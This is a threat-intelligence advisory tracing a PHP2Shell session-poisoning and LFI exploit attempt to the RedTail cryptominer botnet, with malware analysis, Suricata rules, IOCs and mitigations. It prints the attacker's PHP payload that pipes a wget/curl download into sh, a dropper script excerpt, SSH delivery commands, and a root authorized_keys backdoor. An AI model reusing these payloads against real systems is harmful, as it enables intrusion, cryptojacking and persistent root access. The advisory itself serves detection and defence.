Advanced Threat Research · Experimental Systems

php2shell researchCVE-2026-109618 · CVE-2026-109619

39,978,290 PHP observations in the retained validated exposure snapshot for CVE-2026-109618 and CVE-2026-109619. Latest capture 2026-10-24T19:15:41Z; 379,273 fixed-release records measured.

STRIKE Research

More research at STRIKE

Export
r000136-cbb5c6d9
Open in Attack Flow

PHP2Shell in the Wild: Tracing an Exploit Attempt to RedTail

Oct 23, 2026

TL;DR

About a day after PHP2Shell was disclosed, our sensors recorded a complete, automated exploitation attempt: session poisoning through PHP_SESSION_UPLOAD_PROGRESS, then a local file inclusion of the poisoned session file to run a shell downloader.

  • When: 22 October 2026, roughly 24 hours after public disclosure on 21 October.
  • What: multipart uploads planted PHP code in session files; three parallel requests then tried to include those files through a page= parameter.
  • Payload: the planted code fetches a script from 217.60.102[.]5 with wget, falling back to curl, and pipes it into sh with the argument php2shell.
  • Who: the source IP has a two-month history on our sensors as an SSH brute-forcer, and in August it dropped RedTail cryptominer binaries. We assess with moderate confidence that this is RedTail adding PHP2Shell to its toolkit.
  • Detection: network signatures on the upload-progress field and on sess_ paths in URLs cover the poisoning upload and the file-inclusion request.

​ Figure 1: Attack chain from PHP2Shell exploitation to RedTail deployment

Background: PHP2Shell

PHP2Shell is the name given to two PHP vulnerabilities, CVE-2026-109618 and CVE-2026-109619, disclosed and patched on 21 October 2026. CVE-2026-109618 is an out-of-memory corruption bug and CVE-2026-109619 a stale-state bug across requests, both rated critical (php2shell.com gives CVSS 9.2 and does not name the CVSS version). Affected releases go back to PHP 5.4, and the fixed releases are PHP 8.2.35, 8.3.36, 8.4.27 and 8.5.12; branches 8.1 and older get no fix https://php2shell.com/.

The PHP2Shell site recommends disabling session.upload_progress.enabled but does not map either CVE to a specific exploit path, and public write-ups disagree on which CVE covers the PHP_SESSION_UPLOAD_PROGRESS path. Cloudflare's post, updated on 23 October, says the PHP project published an informational advisory that day for a related vulnerability, CVE-2026-115560, in PHP's session upload progress feature; it affects fully patched releases, including 8.5.12, and will be fixed in the next regular release. This post therefore describes the technique and does not assign the attacker's requests to a specific CVE.

Exploitation started fast. Cloudflare reported attack traffic against its customers and says its WAF rules began blocking exploit attempts at 03:02 UTC on 21 October https://blog.cloudflare.com/php-vulnerabilities-waf-protection/. Additionally, Amazon's MadPot honeypots caught a PHP2Shell exploitation attempt on 17 October 2026, four days before public disclosure https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/.

The technique the attacker used here has a long history: upload-progress data lands in the session file, and a file-inclusion bug executes it. Public PHP2Shell tooling made that path newly attractive, and the attacker's loader is run with the argument php2shell.

What we observed

The whole attempt took under two minutes on 22 October 2026, against an HTTP service. It came from 77.90.185[.]20 (AS213790, Limited Network LTD, Germany). Times below are relative to the first request.

TimeRequestWhat it does
T+0 sPOST /index.php, multipart, Content-Length: 17504, attacker-chosen PHPSESSID cookieOpens an upload that will carry the payload
T+41 sSame upload: the body reaches a form field named PHP_SESSION_UPLOAD_PROGRESS holding PHP codePlants the code in the session file /tmp/sess_<id>
T+43 s, T+46 s, T+49 sGET /index.php?page=/tmp/sess_<id>, three times, one per session IDTries to include each poisoned session file while its upload is still open
T+105 s to T+116 sAll three uploads complete; each paired inclusion request closes within about 30 ms of its uploadThe attempt ends

Three uploads ran in parallel, each under its own session ID, and the first was held open for about 105 seconds; the other two closed at T+109 s and T+116 s. That long hold is deliberate, as the tradecraft section explains.

The sensor does not run PHP, so nothing executed and no download took place.

Anatomy of the exploit chain

The chain needs two weaknesses on the target: PHP writing upload-progress data into a predictable session file, and a file-inclusion bug that will load that file as code.

Step 1: poison the session file

PHP's upload-progress feature records the progress of any multipart upload that contains a field named PHP_SESSION_UPLOAD_PROGRESS. It stores that record, including the field's value, in the visitor's session, by default a file at /tmp/sess_<PHPSESSID>. This happens even if the application never uses sessions. Because the attacker sets the PHPSESSID cookie itself, it knows the exact filename.

  POST /index.php HTTP/1.1
  Content-Type: multipart/form-data;
  boundary=WebKitFormBoundary<random>
  Content-Length: 17504
  Cookie: PHPSESSID=<attacker-chosen>
  Connection: close

  --WebKitFormBoundary<random>
  Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

  <?php echo '__START__'; system('(wget --no-check-certificate -qO-
  hxxps://217.60.102[.]5/sh || curl -sk hxxps://217.60.102[.]5/sh) |
  sh -s php2shell'); echo '__END__';?>
  --WebKitFormBoundary<random>
  Content-Disposition: form-data; name="0"

  <64 random characters>
  ... dozens more filler fields named "1", "2", "3" ...

Step 2: include the session file

While the upload is still in progress, the attacker asks the application to load the session file through a page= parameter. If the application passes that parameter to include(), PHP executes the code stored in the session.

  GET /index.php?page=/tmp/sess_<attacker-chosen> HTTP/1.1
  Cookie: PHPSESSID=<attacker-chosen>
  Connection: close

Step 3: what the planted code does

PiecePurpose
echo '__START__' … echo '__END__'Markers; if they appear in the response, the attacker's scanner knows the code ran
system('…')Runs a shell command as the web server's user
wget --no-check-certificate -qO- hxxps://217.60.102[.]5/shQuietly downloads a script to standard output, ignoring TLS certificate errors
|| curl -sk hxxps://217.60.102[.]5/shFallback when wget is not installed
| sh -s php2shellRuns the script straight from the pipe, without writing it to disk first, and passes php2shell as its first argument

Attacker tradecraft

The attempt is built to win a race. PHP deletes the upload-progress record from the session as soon as an upload finishes, which is the default session.upload_progress.cleanup = On, so the code only exists while the upload is still running.

  • Slow upload. The request headers arrived at T+0, the payload field at T+41 s, and the upload finished at about T+105 s. Holding the upload open keeps the poisoned session file alive long enough for the inclusion request.
  • Bulk filler. Dozens of form fields of 64 random characters bring the body to 17,504 bytes, which stretches the upload and keeps the progress record in place.
  • Parallel attempts. Three uploads ran at once, each under its own 32-character session ID, each with its own inclusion request. Any one win is enough.
  • Guessed inclusion parameter. The attacker tries a generic page= parameter rather than a known application route, the mark of a mass scanner rather than a targeted attack.
  • Built-in success check. The __START__ and __END__ markers let the scanner confirm execution from the HTTP response alone.
  • Portable, quiet download. wget with a curl fallback covers minimal Linux images. Both skip TLS certificate checks, which suggests the stage-2 server uses a certificate a normal client would reject.
  • Initial script not saved on disk. The script is piped straight into sh
  • Vector label. The php2shell argument is passed to the stage-2 script and on to the binary. It appears to label the delivery method: in the SSH-delivery sessions on our sensor the same loader is run with ssh instead.
  • Telltale request shape. No User-Agent header in some cases, and a boundary of WebKitFormBoundary plus 8 characters with no leading dashes. Real WebKit and Chromium browsers send ----WebKitFormBoundary plus 16 characters.

Who is behind it

We assess with moderate confidence that this attempt belongs to RedTail, a Monero cryptomining botnet known for adopting new PHP exploits quickly.

  • Same source, earlier RedTail drop. 77.90.185[.]20 has hit our sensors since late August 2026, almost entirely as an SSH brute-forcer using a Go SSH client against port 22 and alternate SSH ports. In late August it logged in with a weak root password and uploaded setup.sh, clean.sh and RedTail binaries for five architectures (redtail.x86_64, .i686, .arm7, .arm8, .riscv). Hashes are in the IOC table.
  • Matching delivery pattern. When RedTail exploited PHP's CVE-2024-4577 in 2024, its exploit fetched a script from a path named /sh. That script picked a redtail.<arch> binary with uname -mp, ran it as .redtail and added a cron job https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability. The PHP2Shell payload also fetches /sh.
  • Matching SSH behaviour. RedTail's SSH intrusions upload and run setup.sh and clean.sh, and clean.sh removes competing miners https://isc.sans.edu/diary.html?date=2025-10-09. That matches what this IP did on our SSH sensor in August.

The stage-2 script references download URLs for redtail.* binaries from 217.60.102[.]5, and the string libredtail is present in the unpacked binary. Attribution remains moderate confidence because the wallet address and mining pool URL were not recovered - the passive C2 design keeps configuration with the actor, not in the binary. Full evidence is in the Stage-2 script analysis section below.

Stage-2 script analysis

The stage-2 script (/sh) was retrieved from hxxps://217.60.102[.]5/sh for analysis. It is 102 lines of POSIX shell. This is not the same file as setup.sh (1e70b634...) delivered over SSH in August - they serve different stages of the infection.

The dropper script

Before fetching a binary, the script locates a writable, executable directory (skipping noexec-mounted paths), downloads and silently runs a companion script clean that removes competing miners, generates a randomised dotfile name (4 to 35 random characters after the dot) for the binary, then downloads the architecture-appropriate build and executes it with $1 - the vector tag from the exploit:

  # dlr() — wget with curl fallback, TLS cert checks disabled
  dlr() {
       rm -rf $1
       wget --no-check-certificate -q hxxps://217.60.102[.]5/$1 \
           || curl -skO hxxps://217.60.102[.]5/$1
  }

  # Architecture detection and binary selection (uname -mp)
  ARCH=$(uname -mp)
  FILENAME=".$(get_random_string)"                 # random dotfile per run, e.g.
  .kX9mQpBr

  if echo "$ARCH" | grep -q "x86_64";                  then dlr x86_64;         mv -f
  x86_64     $FILENAME
  elif echo "$ARCH" | grep -q "i[3456]86"; then dlr i686;                          mv -f
  i686       $FILENAME
  elif echo "$ARCH" | grep -q "aarch64";                 then dlr aarch64; mv -f
  aarch64 $FILENAME
  elif echo "$ARCH" | grep -q "armv7";                   then dlr arm7;          mv -f
  arm7       $FILENAME
  elif echo "$ARCH" | grep -q "riscv";                   then dlr riscv;         mv -f
  riscv      $FILENAME
  fi

  chmod +x $FILENAME
  ./$FILENAME $1 >/dev/null 2>&1               # $1 = "php2shell" when delivered
  via PHP2Shell

Five architectures are served from the same host; earlier public reports describe four (x86_64, i686, arm7, arm8), so riscv is new here. If uname -mp matches nothing, the script downloads all five and tries each in turn. The random dotfile name means there is no predictable on-disk filename to hunt.

Binary behaviour (dynamic analysis)

The binary was run in an isolated Ubuntu 24.04 QEMU/KVM VM on a host-only libvirt network with no internet routing. argv[1] was set to php2shell to match real delivery.

Startup sequence - confirmed behaviours:

  1. Reads own path - openat(AT_FDCWD, "/proc/self/exe", O_RDONLY|O_PATH) (used for self-kill logic and the crontab entry)
  2. Kills competitors - sends SIGKILL for each of these process names (strace shows the kill() calls at startup; none of our test processes were present, so we have not watched a live process die): xmrig, zmap, masscan, cnrig, c3pool, selfrep
  3. Kills prior self-instance (matched by exe path); strips its execute bit:
           fchmodat(AT_FDCWD, "<path>", 0664)
    
  1. Daemonizes - forks; parent exits code 0; child continues. timeout 90 ./redtail php2shell returned immediately in testing because the monitored parent exited while the child ran.
  1. Overwrites cmdline - rotates fake process names over argv[0]+argv[1]:
            postgres: user dbname 127[.]0[.]0[.]1 idle / php / nginx: worker process.
    

    Verified live via /proc/<pid>/cmdline.

  1. Crontab persistence - writes @reboot <own_path> using the path from /proc/self/exe. Confirmed in our VM run (the crontab held @reboot /home/ubuntu/redtail) and in a ReversingLabs sandbox run:
    # /var/spool/cron/crontabs/<user>                   (ReversingLabs dropped file)
    @reboot /tmp/uQfTKtuWc8.elf
    
  1. SSH lockout (root only) - writes sshd: ALL to /etc/hosts.deny, then sshd: 130.12.180[.]51 to /etc/hosts.allow. In the sandbox runs, SSH is blocked for every address except 130.12.180[.]51, an IP we also saw brute-forcing our SSH sensor. The files only take effect where libwrap is compiled in; many modern sshd builds lack it and ignore them entirely. We did not reproduce this step: our VM run was non-root, /etc/hosts.allow and /etc/hosts.deny were left untouched, and the IP does not appear in the binary's plaintext strings (weak evidence, since this binary hides other strings too). It is observed only in ReversingLabs sandbox runs from earlier in 2026, and we have not matched that sample's hash to our binary, so treat the link between this IP and the binary as unconfirmed:
    # /etc/hosts.deny
    sshd: ALL
    
    # /etc/hosts.allow
    sshd: 130.12.180[.]51
    
  1. Hugepages / io_uring - sets /proc/sys/vm/nr_hugepages; calls io_uring_setup for async I/O.
  2. Opens TCP listener - binds a port and enters listen(). Port varied across runs: 41457, 33893, 44839. Zero outbound connections were observed in a 3-minute network capture.
  3. Active process-scan detection - While the daemon was running, starting a process whose argv contains a competitor name ended the SSH session that started it, within about one second. Tested: pgrep xmrig alone, and pgrep xmrig; pgrep zmap; pgrep selfrep in one run; the session ended each time (SSH exit 255). pgrep nginx, which uses the masquerade name, was unaffected. We infer a /proc-scanning loop but did not locate it in the code, and we did not test ps aux | grep xmrig or pkill xmrig. We found no mention of this behaviour in prior RedTail reports.

Embedded miner: XMRig 6.26.0

The binary is UPX-packed, and the UPX stub unpacks the full program into an anonymous memory file (memfd_create). The handle appears as memfd:upX (deleted) in /proc/<pid>/fd. XMRig is compiled into that same program rather than delivered separately. The embedded build version, confirmed from live process memory:

  XMRig/6.26.0 (Linux x86_64) libuv/1.52.1 gcc/15.1.0

Competitor names found as null-delimited strings in heap: xmrig, zmap, masscan, cnrig, c3pool, selfrep.

Strings stratum+ssl:// and stratum+tcp:// found in binary; no pool hostname or port - those are pushed via inbound C2. donate[.]v2[.]xmrig[.]com is XMRig's built-in donation address, not the actor's pool.

Wallet and pool URL: not recovered. No pool URL or wallet appeared in the binary, memory dump, or network capture. The passive C2 design means configuration lives only with the actor.

Passive C2 architecture

The binary opens a TCP listener and waits; it does not initiate any outbound contact. The actor learns victim IPs from their own delivery-server access logs - the wget hxxps://217.60.102[.]5/sh request carries the victim's source IP. The actor then connects inbound to push mining configuration.

In a 3-minute capture in an isolated, no-internet VM, the binary made zero outbound connections - consistent with passive inbound C2 but also consistent with a startup delay or anti-analysis check. Earlier public reporting points the other way for older samples: Forescout (July 2024) says RedTail contacts a C2 server to download its configuration, and an ANY.RUN sandbox run of a RedTail sample with internet access raised outbound SSH-scan and C2-connection alerts. Our no-internet VM may simply have suppressed that activity, for example if the C2 address needs DNS. We did not test with an inbound handshake, so treat the passive-C2 architecture as a hypothesis. If the hypothesis is correct, standard egress monitoring misses it; use the inbound connections on ephemeral TCP ports, process-level behaviours, or the host indicators in the detection section.

Same loader, second delivery route

​ Figure 2: SSH sessions per day by dropper host, 29 August to 22 October. The host used from 3 October, 217.60.102[.]5, is the one in the PHP2Shell payload.

The loader is not specific to PHP2Shell. Between 29 August and 22 October our SSH sensor logged 61 sessions, on 39 separate days, from a second IP, 130.12.180[.]51 (AS202412, Omegatech LTD, NL). Each session logged in and then ran one of two command lines.

In 44 sessions the command wrote an SSH key (key.ppk) and a config file (sshcfg) to a temporary directory, then tried to fetch the /sh loader from a dropper host with scp, falling back to wget or curl, and ran it with ssh as its argument. Three dropper hosts were used in turn: 217.60.195[.]113 (29 Aug to 11 Sep), 217.60.103[.]56 (15 to 30 Sep) and 217.60.102[.]5 (3 to 22 Oct), the same host the PHP2Shell payload uses. We ran in an isolated environment, so none of these commands connected out; the logs show what the actor attempted.

  # 44 sessions (simplified)
  scp -F sshcfg -i key.ppk dlr@<dropper_host>:sh out_sh
  if [ $? -eq 0 ]; then sh out_sh ssh
  else (wget --no-check-certificate -qO- hxxps://<dropper_host>/sh ||
  curl -sk hxxps://<dropper_host>/sh) | sh -s ssh
  fi

In the other 17 sessions the actor uploaded seven files over SFTP (clean.sh, setup.sh and five redtail.<arch> binaries) and ran clean.sh and setup.sh. These are the same seven files, with identical SHA-256 hashes, that 77.90.185[.]20 uploaded in August. Hashes are in the IOC table.

The ssh argument is $1 - it takes the place of php2shell when the loader is run from the SSH-delivery commands.

key.ppk (SHA-256 0db4656687a425c47d19000db866db52c7e415dbfaf6b5c651adcb9275ab23ca, 405 bytes) is the identity file the command passes to scp (-i) for user dlr on the dropper server. The dlr function name in the stage-2 script is the same username.

Static analysis of the x86_64 binary shows a raw-socket scanner and a libssh2 client, so it can find and log in to SSH servers; we did not observe this running.

RSA backdoor key

The attacker session command overwrote /root/.ssh/authorized_keys with its own RSA public key and locked the file with chattr +ai:

  mkdir -p ~/.ssh
  chattr -ia ~/.ssh/authorized_keys
  echo "ssh-rsa AAAA...rsa-key-20230629" > ~/.ssh/authorized_keys
  chattr +ai ~/.ssh/authorized_keys

Key comment rsa-key-20230629 appears in a https://isc.sans.edu/diary.html?date=2024-05-22 (together with chattr +ai), so it is not a new indicator. It provides a root SSH backdoor independent of the mining component that survives the binary being killed or deleted.

Attribution

The stage-2 script names download URLs for binaries on 217.60.102[.]5 across five architectures, consistent with known RedTail distribution, and the string libredtail is present in the unpacked binary. We assess with moderate confidence that this is the RedTail actor.

Confidence is moderate rather than high because the wallet address and mining pool URL were not recovered: they are pushed to the binary over inbound C2 and are never stored in it.

A confirmed wallet match to prior RedTail reports, or a capture of the actor's inbound C2 connection, would raise confidence to high.

Detection and hunting

Two Suricata signatures cover both halves of the chain (set your own sid values before loading them): the poisoning upload and the session-file inclusion.

  alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"PHP2Shell
  PHP_SESSION_UPLOAD_PROGRESS in multipart POST";
  flow:established,to_server; http.method; content:"POST";
  http.content_type; content:"multipart/form-data"; nocase;
  http.request_body; content:"PHP_SESSION_UPLOAD_PROGRESS";
  classtype:attempted-admin; sid:<your SID>; rev:1;)

  alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"PHP2Shell
  session file path in URL (LFI)"; flow:established,to_server;
  http.uri; content:"/sess_";
  pcre:"/(?:\/tmp(?:\/sessions)?|\/var\/lib\/php\/sessions?)\/sess_/i
  "; classtype:web-application-attack; sid:<your SID>; rev:1;)

The second rule is adapted from the detection set ihxxps://github[.]com/ikow/php2shell-poc. The first rule also matches legitimate upload-progress use, so treat it as a hunting signal and review each hit.

On hosts and in logs, look for:

  • Poisoned session files: files named sess_* under the session save path (/tmp, /var/lib/php/sessions) that contain <?php.
  • Web server spawning a shell: the web server user (www-data, apache, nginx, php-fpm) starting sh, wget or curl.
  • The vector label: any process with php2shell in its arguments.
  • Access logs: requests with sess_ in a query parameter, and multipart POSTs with no User-Agent.
  • Egress: connections to 217.60.102[.]5.
  • Crontab persistence: any @reboot entry pointing to a random dotfile in /tmp, /var/tmp, or a user home directory. Check all user crontabs: for f in /var/spool/cron/crontabs/*; do echo "=== $f ==="; cat $f; done
  • hosts.deny / hosts.allow modification: sshd: ALL in /etc/hosts.deny paired with a single IP in /etc/hosts.allow is a red flag: grep -E 'sshd' /etc/hosts.deny /etc/hosts.allow
  • Inbound connections from 130.12.180[.]51: if the passive-C2 hypothesis holds, the actor pushes config inbound to the TCP listener after learning the victim IP from their own delivery-server logs; egress monitoring would miss this model. This IP is tied to the binary only through the ReversingLabs hosts.allow file, so treat a hit as an indicator of actor SSH activity, not confirmed C2: ss -tnp | grep 130[.]12.180.51
  • Process cmdline masquerade: processes with cmdline postgres: user dbname 127[.]0[.]0[.]1 idle or nginx: worker process whose /proc/<pid>/exe resolves to a dotfile: ls -la /proc/$(pgrep -af 'postgres.*dbname' | awk '{print $1}')/exe
  • In-memory UPX extraction: memfd:upX (deleted) in /proc/<pid>/fd indicates a UPX-packed ELF unpacked itself into an anonymous memory file (seen with this sample; a hunting signal, not proof): ls -la /proc/*/fd 2>/dev/null | grep 'memfd:upX'
  • Anti-hunt caution: running pgrep with a competitor name (tested with xmrig, zmap and selfrep; the list also includes masscan, cnrig and c3pool) on an infected host ended our SSH session in about one second. Use PID-based checks (kill -0 PID) or look for the masquerade patterns (postgres/nginx exe resolving to a dotfile) instead.

Indicators of compromise

All network indicators are defanged.

TypeIndicatorContext
IPv477.90.185[.]20PHP2Shell exploitation source; AS213790, Limited Network LTD, DE
IPv4217.60.102[.]5Stage-2 download server
URLhxxps://217.60.102[.]5/shStage-2 script fetched by the planted PHP
Strin g (infection-vectorsh -s php2shellArgument label) passed to the stage-2 script
Strin g its valuename="PHP_SESSION_UPLOAD_PROGRESS" with <?php inSession-poisoning upload
URI pattern?page=/tmp/sess_Session-file inclusion
SHA-2561e70b63472772e3f5092ffe9c3573470e73590e6ab6d93fdcede1d368a5fd72dsetup.sh, uploaded by the same IP over SSH, August 2026
SHA-2563f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892clean.sh, same upload
SHA-256f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987redtail.x86_64, same upload
SHA-2568e1a67a5c03b3cd818f046c7a1605afccc0ee5ce437a0d099881f1872b54bc70redtail.i686, same upload
SHA-256d70f917e35813a7ae323e6b2b539d6dbbfc3a3a6599f1fed93430b14ca08b141redtail.arm7, same upload
SHA-256d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68eredtail.arm8, same upload
SHA-2563f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39redtail.riscv, same upload
IPv4130.12.180[.]51SSH brute-force source seen on our SSH sensor; AS57277, Omegatech LTD, NL
IPv4217.60.195[.]113Earlier dropper server (observed 29 Aug – 11 Sep 2026)
IPv4217.60.103[.]56Earlier dropper server (observed 15–30 Sep 2026)
SHA-2560db4656687a425c47d19000db866db52c7e415dbfaf6b5c651adcb9275ab23cakey.ppk — actor SCP private key for user dlr, 405 bytes
SHA-256ae8d459595257f2f22c9d1ff74c4fb8a91643fad7899b57556496716692b904esshcfg — SSH config disabling host-key checks, 55 bytes; used with the SSH delivery commands
Strin g comment written torsa-key-20230629RSA backdoor key /root/.ssh/authorized _keys with chattr +ai (shared kit artifact used by multiple actors;)

Mitigation

Patch first (stops the memory-corruption CVEs; does not fix CVE-2026-115560 in the session upload progress feature, which Cloudflare says affects fully patched releases including 8.5.12, and does not stop the LFI-based session-poisoning chain, which works on fully patched PHP if an LFI bug is present independently): upgrade to PHP 8.2.35, 8.3.36, 8.4.27 or 8.5.12, and move anything on 8.1 or older to a supported branch. Restart every PHP-FPM and Apache worker afterwards, because running workers keep the old code.

  1. Turn off upload progress if you don't use it. Set session.upload_progress.enabled = Off in php.ini; this removes the poisoning step entirely.
  2. Fix file inclusion. Never pass request parameters to include or require. The chain needs this second bug to execute anything.
  3. Move and lock down the session store. Use a dedicated session.save_path that the web server user can write but no other user can read, rather than the shared /tmp.
  4. Restrict outbound traffic from web servers. Blocking egress to the internet breaks the wget / curl download even if the code runs.
  5. Hunt for prior compromise. Run the host checks in the detection section, and treat any hit as a possible cryptominer infection: look for unexpected cron jobs, new SSH keys and high CPU use.

How SecurityScorecard Can Help

SecurityScorecard’s https://securityscorecard.com/blog/patch-the-runtime-then-verify-the-footprint/ observes over 7.6 million at time of publication https://securityscorecard.com/blog/patch-the-runtime-then-verify-the-footprint/. Our scanning identifies exposed PHP infrastructure in your own footprint and across your vendor portfolio, so you can see which third parties advertise affected versions and which providers your vendors have in common. https://securityscorecard.com/product/titan-secure/ customers with the Driftnet add-on can build a PHP2Shell response workflow; see the https://securityscorecard.com/blog/shared-dependencies-turn-php-flaws-into-a-public-service-risk/ for details.

For questions about this advisory or about SecurityScorecard’s own response, contact your account team or security@securityscorecard.com. We will update this advisory as the exploitation picture changes.​ ​

Conversion and layout notes

PDF text is unchanged. Paragraphs and headings use source fonts; complex tables and pagination may differ.